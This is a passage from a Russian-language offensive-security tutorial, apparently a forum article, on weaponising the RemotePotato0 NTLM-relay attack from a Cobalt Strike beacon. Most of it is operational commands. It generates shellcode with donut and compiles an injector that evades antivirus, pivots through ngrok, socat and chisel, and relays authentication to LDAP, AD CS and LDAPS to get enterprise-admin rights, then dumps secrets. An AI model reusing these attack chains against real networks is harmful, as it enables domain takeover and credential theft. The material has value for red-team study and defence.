PS > $dStream.Dispose()
PS > $outBytes = $outStream.ToArray()
PS > $outStream.Dispose()
PS > $b64Compressed = [System.Convert]::ToBase64String($outBytes)
PS > $template = (New-Object Net.WebClient).DownloadString("https://gist.github.com/snovvcrash/30bd25b1a5a18d8bb7ce3bb8dc2bae37/raw/881ec72c7c310bc07af017656a47d0c659fab4f6/template.cs") -creplace 'DONUT', $b64Compressed
PS > $template -creplace 'NAMESPACE', "${binaryName}Inject" > ${binaryName}Inject.cs
PS > csc /t:exe /platform:x64 /out:${binaryName}Inject.exe ${binaryName}Inject.cs
PS > rm ${binaryName}Inject.cs
Рис. 12. Компиляция self-инжектора
Протестим его в следующем разделе, когда решим проблему с TCP-редиректором.
ngrok + socat =

Допустим, мы получили бикон CS на уязвимом для атаки сервере, но у нас нет другого ресурса во внутренней сети жертвы, чтобы использовать его как зеркало для OXID-запросов.
Для имитации этой ситуации я врубил обратно дефендёр и воспользовался своим волшебным инжектором (с позаимствованной у @_RastaMouse техникой Module Stomping) и получил сессию кобы.
Рис. 13. Ничего подозрительного
Рис. 14. You've poped a shell!
Теперь немного пивотинга: отсутствие вспомогательной машины я компенсирую тем, что подниму TCP-инстанс ngrok, который даст белый эндпоинт для общения с машиной атакующего (которая находится за пределами внутренней сети).
Код:
~$ ngrok tcp 136
Рис. 15. ngrok слушает на 136/TCP
Так как мы не можем контролировать порт, который ngrok вешает на белый адрес (а нам нужен только 135/TCP), понадобится еще один редиректор, в роли которого выступит socat на моей VDS-ке (на атакуемом сервере должен быть доступ в Интернеты, чтобы до него достучаться).
Код:
~$ nslookup <NGROK_IP>
~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<NGROK_IP>:<NGROK_PORT>
Рис. 16. ngrok + socat на VDS
Теперь я могу ловить трафик на 136/TCP на машине аттакера, прилетевший с ngrok с VDS, и перенаправлять его обратно на жертву. В этом мне поможет SOCKS-прокся, развернутая кобой.
Эмпирическим путем было установлено, что проксю лучше поднимать в отдельном биконе, т. к. изначальная сессия начинает тупить, когда мы делаем
execute-assembly с нашим инжектором, который мы так и не протестили – исправим это (теперь надо только перегенерить шеллкод с нужным IP ВДС-ки в аргументе -x).
Код:
beacon(2)> socks 1080
~$ sudo proxychains4 -q socat -v TCP-LISTEN:136,fork,reuseaddr TCP:<VICTIM_INTERNAL_IP>:9998
beacon(1)> execute-assembly RemotePotato0Inject.exe
Рис. 17. А вот и хешики!
Рис. 18. Тем временем на VDS
Но и это не предел наших возможностей – таким же способом можно зарелеить доменадмина на LDAP. Для начала перегенерим шеллкод с нужными нам аргументами (изменим режим в
-m и добавим адрес VDS в -r).
Код:
~$ ./donut -i RemotePotato0.exe -b=1 -t -p '-m 0 -r <VDS_IP> -x <VDS_IP> -p 9998 -s <SESSION_ID>' -o RemotePotato0.bin
К сожалению, на фри-версии ngrok-а не получится одновременно поднять второй канал, поэтому я воспользуюсь chisel-ом для перенаправления HTTP-трафла. Откровенно говоря, можно было и первый редирект настроить через chisel, и не юзать ngrok вообще, но ладно.
Код:
beacon(2)> socks 1080
(ATTACKER) ~$ ngrok tcp 136
(VDS) ~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<NGROK_IP>:<NGROK_PORT>
(VDS) ~$ sudo ./chisel server -p 8000 --reverse --auth <USER>:<PASS>
(ATTACKER) ~$ ./chisel client --auth <USER>:<PASS> <VDS_IP>:8000 R:80:127.0.0.1:8080
(ATTACKER) ~$ sudo proxychains4 -q socat -v TCP-LISTEN:136,fork,reuseaddr TCP:<VICTIM_INTERNAL_IP>:9998
(ATTACKER) ~$ sudo proxychains4 -q ntlmrelayx.py -t ldap://<DC_INTERNAL_IP> --http-port 8080 --no-smb-server --no-wcf-server --no-raw-server --escalate-user <PWNED_USER>
beacon(1)> execute-assembly RemotePotato0Inject.exe
Рис. 19. Релеим HTTP через chisel
Рис. 20. Тем временем на VDS (дубль 2)
И я снова энтерпрайз админ. Таким образом, мы скрафтили способ повышения привилегий с помощью RemotePotato0 без использования вспомогательного хоста на внутреннем периметре :3
Бонус №1. Релей на AD CS (ESC8)
В случае, если по какой-либо причине релеить на LDAP(S) не получается, но в домене есть незащищенный эндпоинт Web Enrollment центра сертификации AD CS, можно провернуть вариацию атаки ESC8 (смотрим ресерч, если кто не в теме).
Для того, чтобы релей сработал в этом случае, может потребоваться поиграть с разными значениями CLSID, которые можно указать через аргумент
-c. Захардкоженное значение {5167B42F-C111-47A1-ACC4-8EABE61B0B54} не сработает из-за того, что разные службы (с разными CLSID) используют разные уровни аутентификации при их триггере по RPC (определяется значением этих констант). То, что работает при релее на LDAP, может не сработать при релее на SMB / HTTP (в случае ESC8 релеим именно на HTTP).Так вот, опять же империческим путем выяснено, что для ESC8 подходит служба CastServerInteractiveUser со значением CLSID
{f8842f8e-dafe-4b37-9d38-4e0714a61149}.Продемонстрировать со скриншотом, к сожалению, не получится, т. к. в моей лаба сервер TEXAS и выполняет роль AD CS, а reflective-релей с самого на себе не сработает.
Рис. 21. Вот вам пруф ^^
Но в командах это должно было бы выглядеть примерно так:
Код:
~$ ./donut -i RemotePotato0.exe -b=1 -t -p '-m 0 -r <ATTACKER_IP> -x <ATTACKER_IP> -p 9998 -s <SESSION_ID> -c {f8842f8e-dafe-4b37-9d38-4e0714a61149}' -o RemotePotato0.bin
~$ ntlmrelayx.py -t http://<ADCS_CA_IP>/certsrv/certfnsh.asp --no-smb-server --no-wcf-server --no-raw-server --adcs --template User
При успешной генерации сертификата от имени атакованного пользюка, далее действуем обычно, как это происходит после проведение ESC8-атаки, а именно пользуемся Рубевусом (флаг
/getcredentials) или PKINITtools для получения TGT и/или NT-хеша жертвы.Бонус №2. Remote Potato без RemotePotato0.exe
В репе Impacket-а висит пулл реквест, избавляющий от необходимости тащить на атакуемый хост RemotePotato0.exe: триггер NTLM-аутентификации перенесли в форк SweetPotato, RPC-сервер реализовали в самом ntlmrelayx.py, а OXID-резолвер вынесли в отдельный скрипт. Однако в этом случае самый вкусный функционал будет урезан – триггерить NTLM-аутентификацию можно только от имени машинной УЗ, но не сквозь чужую сессию.
Я покажу способ вооружить и этот вариант атаки, имея под рукой только бикон кобы и инстанс VDS, через классическую реализацию RBCD-абьюза для пывна сервера, откуда прилетает аутентификация.
Для этого сначала определимся, что, куда и зачем мы редиректим:
- С помощью ngrok создаем TCP-канал извне до localhost:135. Так как RPC-сервер теперь крутится на машине атакующего, нам не нужно ничего зеркалить вторым socat; достаточно запустить rpcoxidresolver.py, который уже слушает localhost:135.
- С помощью chisel пробрасываем порт 9997 с VDS на порт 9998 машины атакующего, на котором случает RPC-сервер ntlmrelayx.py. В качестве адреса RPC-сервера в rpcoxidresolver.py (опция
-rip) указываем IP нашего VDS – это нужно для того, чтобы передать NTLM-аутентификацию в ntlmrelayx.py (при использовании адреса 127.0.0.1 работать отказывается). - ntlmrelayx.py пускаем через проксю кобы для релея на службу LDAPS контроллера домена. Да, на LDAPS, потому что в результате релея мы хотим настроить делегирование относительно вспомогательной сервисной УЗ, которую нельзя создать по LDAP.
- Стреляем SweetPotato.exe из кобы с триггером CLSID
{42CBFAA7-A4A7-47BB-B422-BD10E9D02700}, предлагаемого автором PR-а.
Код:
beacon(2)> socks 1080
(ATTACKER) ~$ ngrok tcp 135
(VDS) ~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<NGROK_IP>:<NGROK_PORT>
(VDS) ~$ sudo ./chisel server -p 6666 --reverse --auth <USER>:<PASS>
(ATTACKER) ~$ ./chisel client --auth <USER>:<PASS> <VDS_IP>:6666 R:9997:127.0.0.1:9998
(ATTACKER) ~$ python examples/rpcoxidresolver.py -oip 127.0.0.1 -rip <VDS_IP> -rport 9997
(ATTACKER) ~$ proxychains4 -q python examples/ntlmrelayx.py -t ldaps://<INTERNAL_DC_IP> --rpc-port 9998 -smb2support --no-smb-server --no-http-server --no-wcf-server --no-raw-server --no-da --no-acl --delegate-access
beacon(1)> execute-assembly SweetPotato.exe -e 1 -oip <VDS_IP> -c 42CBFAA7-A4A7-47BB-B422-BD10E9D02700
Рис. 22. S4U2Proxy, я иду!
После этого, полагаю, не нужно объяснять, что делать. Получим TGS через транзитные расширения Kerberos-а S4U2Self & S4U2Proxy с олицетворением пользователя administrator (getST.py) и фигачим secretsdump.py / wmiexec.py, чтобы извлечь секреты LSA или получить шелл на сервере.
Рис. 22. Теперь мы админы на сервере TEXAS
Прикольный вариант атаки, но протащить и выполнить оригинальный бинарь, как мы показали ранее, тоже не составляет большого труда.
Закончить хотелось бы словами классика: «Следи за собой, будь осторожен».
Спасибо за внимание.